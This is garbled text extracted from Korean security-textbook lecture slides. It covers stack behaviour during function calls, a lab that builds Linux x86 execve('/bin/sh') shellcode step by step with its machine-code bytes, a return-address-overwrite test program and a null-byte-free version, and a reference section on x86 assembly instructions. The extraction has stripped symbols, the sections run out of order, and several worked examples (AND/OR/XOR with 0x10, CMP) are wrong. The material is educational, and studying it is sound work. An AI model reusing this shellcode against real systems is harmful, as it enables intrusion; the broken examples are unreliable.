addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 29: 80×86  시스템에 대한 이해

29108

변위를 갖는 베이스 인덱스 주소 지정 베이스 - 인덱스의 변형으로 실제 주소 생성 위해

베이스 레지스터 인덱스 레지스터 변위 결합

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI+20h] MOV AL [BP+SI+20h]

30108

어셈블리어의 기본 명령 산술 연산 명령 기본적인 정수 계산

bull ADD(Add) 제 1 피연산자와 제 2 피연산자 값을 더한 결과 값을 제 1 피 연산자에 저장

bull SUB(Subtract) 제 1 피연산자에서 제 2 피연산자 값을 뺀 결과 값을 제 1 피연산자에 저장

bull CMP(Compare) 데이터의 두 값 비교 시 사용 lsquocmp a brsquo 의 경우 a 에서 b 를 뺀 값이0 이면 참

어셈블리어의 기본 문법과 명령

형식ADD [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

ADD AL 4

AL 이 원래 3이었다면 명령 실행 후 AL은 7이 된다

형식SUB [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

SUB AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

형식CMP [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

CMP AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

31108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

ADC Add with Carry 캐리를 포함한 덧셈을 수행한다

SBB Subtraction with borrow 캐리를 포함한 뺄셈을 수행한다

DEC Decrement 피연산자 내용을 하나 감소시킨다

NEG Change Sign 피연산자의 2 의 보수 즉 부호를 반전한다

INC Increment 피연산자 내용을 하나 증가시킨다

AAA ASCII adjust for add덧셈 결과의 AL 값을 UNPACK 10진수로 보정한다

DAA Decimal adjust for add 덧셈 결과의 AL 값을 PACK 10진수로 보정한다

AAS ASCII adjust for subtract뺄셈 결과의 AL 값을 UNPACK 10진수로 보정한다

32108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

DAS Decimal adjust for subtract 뺄셈 결과의 AL 값을 PACK 10진수로 보정한다

MUL Multiply(Unsigned) AX 와 피연산자의 곱셈 결과를 AX 또는 DXAX 에 저장한다

IMUL Integer Multiply(Signed) 부호화된 곱셈을 수행한다

AAM ASCII adjust for Multiply 곱셈 결과의 AX 값을 UNPACK 10진수로 보정한다

DIV Divide(Unsigned)AX 또는 DXAX 내용을 피연산자로 나눈다

몫은 AL 또는 AX 에 저장하고 나머지는 AH 또는 DX 에 저장한다

IDIV Integer Divide(Signed) 부호화된 나눗셈

AAD ASCII adjust for Divide 나눗셈 결과 AX 값을 UNPACK 10진수로 보정한다

CBW Convert byte to word AL 의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장한다

CWDConvert word to double word

AX 의 워드 데이터를 부호를 포함하여 DXAX 의 더블 워드로 변환한다

33108

어셈블리어의 기본 명령 데이터 전송 명령 메모리 범용 레지스터 세그먼트 레지스터로 참조되는 주소에

존재하는 데이터 전송

bull MOV(Move) 데이터 이동할 때 사용

BP 의 현재 값이 0x10000004 라면 BP+8은 0x1000000C

0x1000000C 에 있는 값이 1024므로 AX 에는 1024 가 입력

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용 예

MOV AX [BP+8]

BP 의 주소에 8 더해진 주소에 있는 데이터

값을 AX 에 대입한다

34108

어셈블리어의 기본 명령 PUSH(Push) 스택에 데이터를 삽입할 때 사용

[ 그림 2-19] 와 같이 스택은 커지고 스택 포인터 (Stack Pointer)는

데이터 크기만큼 감소

어셈블리어의 기본 문법과 명령

35108

어셈블리어의 기본 명령 POP(Pop) 스택에서 데이터 삭제할 때 사용 스택에서 삭제된 명령은 반환 값으로

받아 사용 가능 [ 그림 2-20] 과 같이 스택 포인터는 삭제하는 데이터

크기만큼 증가

어셈블리어의 기본 문법과 명령

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

